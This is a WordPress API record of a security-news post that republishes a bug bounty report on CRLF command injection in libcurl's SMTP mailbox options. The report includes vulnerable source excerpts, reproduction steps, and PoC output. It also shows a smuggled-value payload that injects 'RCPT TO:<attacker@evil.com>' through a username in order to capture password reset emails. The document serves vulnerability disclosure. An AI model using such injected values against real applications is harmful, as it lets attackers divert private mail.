{"id":25404,"date":"2025-11-10T05:33:58","date_gmt":"2025-11-10T05:33:58","guid":{"rendered":"http:\/\/localhost\/?p=25404"},"modified":"2025-11-10T05:33:58","modified_gmt":"2025-11-10T05:33:58","slug":"curl-smtp-crlf-command-injection-in-curloptmailfrom-and-curloptmailrcpt","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=25404","title":{"rendered":"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-10T11:25:46&#8243;,&#8221;description&#8221;:&#8221;libcurl&#8217;s SMTP implementation accepts CR (`\\\\r`) and LF (`\\\\n`) bytes in mailbox address inputs without validation. These control characters are inserted directly into SMTP commands, allowing attackers to inject arbitrary SMTP protocol commands. This enables envelope manipulation, adding unauthorized recipients, and potentially bypassing application-level email controls.\\n\\n### Steps To Reproduce\\n\\n**Environment:**\\n- Target: curl\/libcurl source code (https:\/\/github.com\/curl\/curl)\\n- Tested versions: \\n  &#8211; curl 8.17.0 (latest official release) \u2705 VULNERABLE\\n  &#8211; curl 8.12.0-DEV (commit 58023ba52273b05deb36ec1d395df18ba29b3bde) \u2705 VULNERABLE\\n- Build: Standard release build\\n- Date tested: 2025-11-06\\n\\n**Prerequisites:**\\n1. Build curl from source (commit 58023ba52273b05deb36ec1d395df18ba29b3bde)\\n2. Download the attached proof-of-concept script: `poc_smtp_crlf_injection.sh`\\n\\n**Steps:**\\n\\n1. Make the script executable:\\n&#8220;`bash\\nchmod +x poc_smtp_crlf_injection.sh\\n&#8220;`\\n\\n2. Run the proof-of-concept with the path to your curl binary:\\n&#8220;`bash\\n.\/poc_smtp_crlf_injection.sh \/path\/to\/curl\/src\/curl\\n&#8220;`\\n\\nThe script will:\\n- Start an SMTP server that logs all received commands\\n- Execute curl with a CRLF-injected mailbox address\\n- Display clear before\/after comparison\\n- Highlight the injected commands\\n\\n3. Observe the output showing the split SMTP commands\\n\\n**What should happen:** \\ncurl should reject the mailbox address containing control characters with an error like \\&#8221;invalid characters in mailbox address\\&#8221; or \\&#8221;control characters not allowed\\&#8221;, similar to how it rejects null bytes in HTTP headers.\\n\\n**What actually happens:** \\ncurl accepts the CRLF characters and sends them as part of the SMTP command, resulting in protocol-level command injection:\\n\\n&#8220;`\\n\\u003e MAIL FROM:\\u003csender@company.com\\n\\u003e RCPT TO:\\u003cattacker@evil.com\\u003e SIZE=&#8230;    \u2190 INJECTED COMMAND\\n\\u003e RCPT TO:\\u003cvictim@company.com\\u003e            \u2190 LEGITIMATE RECIPIENT\\n&#8220;`\\n\\nThe MAIL FROM command is split into two separate lines, with \\&#8221;RCPT TO:\\u003cattacker@evil.com\\u003e\\&#8221; being injected as a separate SMTP command. The email is now sent to both the legitimate recipient AND the attacker&#8217;s address.\\n\\n### Evidence\\n\\n**Attached file demonstrating the vulnerability:**\\n\\n**poc_smtp_crlf_injection.sh** &#8211; Complete, self-contained proof-of-concept script that:\\n- Starts a local SMTP server to capture commands\\n- Runs curl with CRLF-injected mailbox addresses\\n- Displays clear evidence of command injection\\n- Requires only Python 3 and bash (no other dependencies)\\n- Takes ~30 seconds to run\\n- Exit code 1 = vulnerable, 0 = patched\\n\\n**Sample output from the PoC script:**\\n\\n&#8220;`\\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\nVULNERABILITY CONFIRMED\\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\\n\u2717 VULNERABLE: CRLF injection successful!\\n\\nSMTP Commands Sent by curl:\\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n\\u003e EHLO smtp_test_body.txt\\n\\u003e MAIL FROM:\\u003csender@company.com\\n\\u003e RCPT TO:\\u003cattacker@evil.com\\u003e SIZE=59    \u2190 INJECTED!\\n\\u003e RCPT TO:\\u003cvictim@company.com\\u003e\\n\\u003e DATA\\n\\nResult: Email sent to BOTH recipients:\\n  \u2713 victim@company.com (legitimate)\\n  \u2713 attacker@evil.com (INJECTED)\\n&#8220;`\\n\\nThe script output clearly shows:\\n1. The MAIL FROM command split into two lines\\n2. The injected RCPT TO command on a separate line\\n3. Both recipients being accepted by the SMTP server\\n4. Confirmation that the email would be sent to both addresses\\n\\n**Code analysis showing the vulnerability:**\\n\\nFile: `lib\/smtp.c`, lines 838-846\\n&#8220;`c\\nresult = Curl_pp_sendf(data, \\u0026smtpc-\\u003epp,\\n                       \\&#8221;MAIL FROM:%s%s%s%s%s%s\\&#8221;,\\n                       from,                 \/* Mandatory &#8211; NO VALIDATION *\/\\n                       auth ? \\&#8221; AUTH=\\&#8221; : \\&#8221;\\&#8221;,\\n                       auth ? auth : \\&#8221;\\&#8221;,\\n                       size ? \\&#8221; SIZE=\\&#8221; : \\&#8221;\\&#8221;,\\n                       size ? size : \\&#8221;\\&#8221;,\\n                       utf8 ? \\&#8221; SMTPUTF8\\&#8221; : \\&#8221;\\&#8221;);\\n&#8220;`\\n\\nFile: `lib\/smtp.c`, lines 1875-1921 (`smtp_parse_address`)\\n- Function performs basic parsing (strips `\\u003c\\u003e`, finds `@`)\\n- No validation for control characters (CR, LF, NUL)\\n- Strings are passed directly to command construction\\n\\n**Evidence that this is NOT by-design:**\\n\\ncurl already rejects control characters in similar contexts. From `lib\/cookie.c`, lines 436-446:\\n\\n&#8220;`c\\nstatic bool invalid_octets(const char *ptr) {\\n  const unsigned char *p = (const unsigned char *)ptr;\\n  \/* Reject all bytes \\\\x01 &#8211; \\\\x1f (*except* \\\\x09, TAB) + \\\\x7f *\/\\n  while(*p) {\\n    if(((*p != 9) \\u0026\\u0026 (*p \\u003c 0x20)) || (*p == 0x7f))\\n      return TRUE;\\n    p++;\\n  }\\n  return FALSE;\\n}\\n&#8220;`\\n\\nThis function explicitly rejects CR (0x0D) and LF (0x0A) in cookie values. The same validation should apply to SMTP mailbox addresses but is missing.\\n\\n## Impact\\n\\nAn attacker who controls email address inputs can inject SMTP commands by adding CRLF characters. This lets them add extra recipients to emails without the application knowing. For example, a password reset email meant for one person gets secretly copied to the attacker&#8217;s email address.\\n\\n**Real attack scenario:** A web app sends password reset emails using curl. An attacker registers username `victim\\\\r\\\\nRCPT TO:\\u003cattacker@evil.com\\u003e` on the platform. When the app constructs the email address and passes it to curl, curl injects the extra recipient command. The attacker receives a copy of the password reset link meant for the victim.\\n\\n**Why this matters:**\\n- Many apps build email addresses from usernames + domain without checking for control characters\\n- Apps expect the library to handle protocol-level validation (like curl does for cookies and HTTP headers)\\n- Attackers can steal sensitive emails: password resets, verification codes, confidential reports\\n- The vulnerability affects all apps using `CURLOPT_MAIL_FROM`, `CURLOPT_MAIL_RCPT`, or `CURLOPT_MAIL_AUTH` with any user input&#8221;,&#8221;published&#8221;:&#8221;2025-11-06T12:07:44&#8243;,&#8221;modified&#8221;:&#8221;2025-11-10T10:39:03&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3414088&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3414088&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-10T11:25:46&#8243;,&#8221;description&#8221;:&#8221;libcurl&#8217;s SMTP implementation accepts CR (`\\\\r`) and LF (`\\\\n`) bytes in mailbox address inputs without validation. These control characters are inserted directly into SMTP commands,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-25404","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=25404\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-10T11:25:46&#8243;,&#8221;description&#8221;:&#8221;libcurl&#8217;s SMTP implementation accepts CR (`\\r`) and LF (`\\n`) bytes in mailbox address inputs without validation. These control characters are inserted directly into SMTP commands,...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=25404\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-10T05:33:58+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25404#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25404\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088\",\"datePublished\":\"2025-11-10T05:33:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25404\"},\"wordCount\":1059,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=25404#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25404\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25404\",\"name\":\"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-10T05:33:58+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25404#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=25404\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25404#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=25404","og_locale":"en_US","og_type":"article","og_title":"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-10T11:25:46&#8243;,&#8221;description&#8221;:&#8221;libcurl&#8217;s SMTP implementation accepts CR (`\\r`) and LF (`\\n`) bytes in mailbox address inputs without validation. These control characters are inserted directly into SMTP commands,...","og_url":"https:\/\/zero.redgem.net\/?p=25404","og_site_name":"zero redgem","article_published_time":"2025-11-10T05:33:58+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=25404#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=25404"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088","datePublished":"2025-11-10T05:33:58+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=25404"},"wordCount":1059,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=25404#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=25404","url":"https:\/\/zero.redgem.net\/?p=25404","name":"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-10T05:33:58+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=25404#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=25404"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=25404#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: SMTP CRLF Command Injection in CURLOPT_MAIL_FROM and CURLOPT_MAIL_RCPT_H1:3414088"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/25404","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=25404"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/25404\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=25404"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=25404"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=25404"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}